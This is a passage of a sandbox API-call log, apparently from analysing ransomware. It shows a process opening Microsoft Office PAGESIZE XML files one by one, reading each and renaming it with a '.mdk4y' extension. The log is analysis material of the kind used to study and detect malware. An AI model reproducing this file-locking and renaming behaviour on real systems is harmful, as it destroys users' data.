Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830971900000) returned 1 [0234.489] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2d8, lpOverlapped=0x0) returned 1 [0234.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830974500000) returned 1 [0234.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830974500000) returned 1 [0234.515] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.mdk4y")) returned 1 [0234.517] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.517] AreFileApisANSI () returned 1 [0234.517] GetACP () returned 0x4e4 [0234.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN020.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN020.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830975100000) returned 1 [0234.521] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2936, lpOverlapped=0x0) returned 1 [0234.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830976300000) returned 1 [0234.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830976300000) returned 1 [0234.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.mdk4y")) returned 1 [0234.535] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.535] AreFileApisANSI () returned 1 [0234.535] GetACP () returned 0x4e4 [0234.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN022.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN022.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830976700000) returned 1 [0234.537] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x167d4, lpOverlapped=0x0) returned 1 [0234.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830978600000) returned 1 [0234.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830978600000) returned 1 [0234.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.mdk4y")) returned 1 [0234.558] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.558] AreFileApisANSI () returned 1 [0234.558] GetACP () returned 0x4e4 [0234.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN026.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN026.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830979000000) returned 1 [0234.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21be, lpOverlapped=0x0) returned 1 [0234.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830980300000) returned 1 [0234.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830980300000) returned 1 [0234.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.mdk4y")) returned 1 [0234.575] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.575] AreFileApisANSI () returned 1 [0234.575] GetACP () returned 0x4e4 [0234.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN027.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN027.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.575] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830980600000) returned 1 [0234.576] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5e2, lpOverlapped=0x0) returned 1 [0234.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830982200000) returned 1 [0234.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830982200000) returned 1 [0234.593] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.mdk4y")) returned 1 [0234.594] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.594] AreFileApisANSI () returned 1 [0234.594] GetACP () returned 0x4e4 [0234.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN044.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN044.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.594] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830987000000) returned 1 [0234.640] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1412, lpOverlapped=0x0) returned 1 [0234.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830993400000) returned 1 [0234.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830993400000) returned 1 [0234.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.mdk4y")) returned 1 [0234.706] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.706] AreFileApisANSI () returned 1 [0234.706] GetACP () returned 0x4e4 [0234.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN048.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN048.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830993700000) returned 1 [0234.708] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9c4ca, lpOverlapped=0x0) returned 1 [0234.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830996300000) returned 1 [0234.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830996300000) returned 1 [0234.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.mdk4y")) returned 1 [0234.740] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.740] AreFileApisANSI () returned 1 [0234.740] GetACP () returned 0x4e4 [0234.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN054.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN054.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.740] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830997100000) returned 1 [0234.741] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8250, lpOverlapped=0x0) returned 1 [0234.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830999100000) returned 1 [0234.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830999100000) returned 1 [0234.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.mdk4y")) returned 1 [0234.764] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.764] AreFileApisANSI () returned 1 [0234.764] GetACP () returned 0x4e4 [0234.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN058.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN058.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.764] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830999600000) returned 1 [0234.766] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e4, lpOverlapped=0x0) returned 1 [0234.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831000300000) returned 1 [0234.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831000300000) returned 1 [0234.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml.mdk4y")) returned 1 [0234.775] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.775] AreFileApisANSI () returned 1 [0234.775] GetACP () returned 0x4e4 [0234.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN065.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN065.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831000700000) returned 1 [0234.777] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1326, lpOverlapped=0x0) returned 1 [0234.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831003200000) returned 1 [0234.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831003200000) returned 1 [0234.802] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.mdk4y")) returned 1 [0234.804] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.804] AreFileApisANSI () returned 1 [0234.804] GetACP () returned 0x4e4 [0234.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN075.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN075.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.804] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831003500000) returned 1 [0234.805] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9ff4, lpOverlapped=0x0) returned 1 [0234.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831005900000) returned 1 [0234.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831005900000) returned 1 [0234.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.mdk4y")) returned 1 [0234.831] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.831] AreFileApisANSI () returned 1 [0234.831] GetACP () returned 0x4e4 [0234.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN081.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN081.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.831] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831006300000) returned 1 [0234.833] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0234.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831009800000) returned 1 [0234.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831009900000) returned 1 [0234.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.mdk4y")) returned 1 [0234.879] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.879] AreFileApisANSI () returned 1 [0234.879] GetACP () returned 0x4e4 [0234.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN082.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN082.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.879] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831011000000) returned 1 [0234.880] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31a78, lpOverlapped=0x0) returned 1 [0234.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831013400000) returned 1 [0234.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831013400000) returned 1 [0234.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.mdk4y")) returned 1 [0234.908] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.908] AreFileApisANSI () returned 1 [0234.908] GetACP () returned 0x4e4 [0234.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN086.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN086.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831014000000) returned 1 [0234.910] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d34, lpOverlapped=0x0) returned 1 [0234.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831015400000) returned 1 [0234.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831015400000) returned 1 [0234.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.mdk4y")) returned 1 [0234.926] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.926] AreFileApisANSI () returned 1 [0234.926] GetACP () returned 0x4e4 [0234.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN089.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN089.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.926] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831015700000) returned 1 [0234.927] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11a6, lpOverlapped=0x0) returned 1 [0234.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 